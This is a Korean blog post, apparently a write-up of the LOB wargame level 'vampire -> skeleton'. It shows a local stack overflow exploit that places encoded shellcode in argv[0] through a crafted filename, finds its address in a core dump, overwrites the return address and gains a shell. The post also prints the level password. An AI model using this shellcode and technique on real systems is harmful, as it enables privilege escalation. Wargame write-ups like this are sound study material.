필자가 orge 문제 풀이 작성 시 헷갈렸던 문제이다.



문제 소스코드.

이번엔 argv[0]까지 초기화 되었다! 이제 우리에게 남은 부분은 어디일까?

orge 문제 포스트를 보면 알 수 있다


모르겠으면 스택을 다 뒤져보면 되지!라는 생각을 했다면 풀 수 있는 문제다.



[vampire@localhost vampire]$ mkdir /tmp/dirskeleton

[vampire@localhost vampire]$ cd /tmp/dirskeleton/

[vampire@localhost dirskeleton]$ cp ~/skeleton .

[vampire@localhost dirskeleton]$ gdb -q ./skeleton 

(gdb) set disassembly-flavor intel 

(gdb) disassemble main


<shellcode를 어디에 삽입하지?>

스택 메모리를 뒤져보자.




argv[0]을 초기화했으나 메모리 끝 영역에 argv[0] 값이 남아있는 것을 확인할 수 있다!

이것을 활용하자!


<argv[0]에 shellcode 삽입하기>

exploit 방법은 orge 레벨과 거의 똑같다.

파일이름을 통해 argv[0]에 쉘코드를 삽입하자!



[vampire@localhost dirskeleton]$ ls

[vampire@localhost dirskeleton]$ cp ~/skeleton ./`python -c 'print "\x90"*150+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`

[vampire@localhost dirskeleton]$ ./* `python -c 'print "\xbf"*48'`

¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿

Segmentation fault (core dumped)


shellcode 뒤에 nop을 50개 넣어주었는데, 이 쉘코드의 특성상 shellcode 뒤에 약간의 공간이 필요하므로 넣어주었다.

core 파일을 생성하였다. GDB로 shellcode의 주소를 알아보자.

우리는 쉘코드가 메모리의 끝 영역에 있다는 것을 알고 있다.


gdb -q -c core

x/256s 0xbfffff00


'./'를 제외하고 0xbfffff03에 nop+shellcode가 위치한다.

이제 이 주소로 RET 영역을 overwrite 하면 된다.


<exploit>



[vampire@localhost dirskeleton]$ ln -sf ~/skeleton ./`python -c 'print "\x90"'`*                                                 

[vampire@localhost dirskeleton]$ ls

core

??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????龞1ɱ2?l?ÿ??羵ꀨ쀿ÿ2i00tii0cjo?㐔?࿱?̿??????????????????????????????????????????????????

[vampire@localhost dirskeleton]$ ./`python -c 'print "\x90"'`* `python -c 'print "\xbf"*44+"\x03\xff\xff\xbf"'`

¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿ÿÿ¿

bash$ id

uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)

bash$ my-pass

euid = 510

shellcoder

bash$


skeleton의 패스워드는 shellcoder


'Wargame Writeup > LOB(Redhat)' 카테고리의 다른 글

LOB golem -> darkknight  (0) 2015.11.14
LOB skeletom -> golem  (1) 2015.11.14
LOB troll -> vampire  (0) 2015.11.13
LOB orge -> troll  (0) 2015.11.13
LOB darkelf -> orge  (0) 2015.11.13

WRITTEN BY
hojongs
블로그 옮겼습니다 https://hojongs.github.io/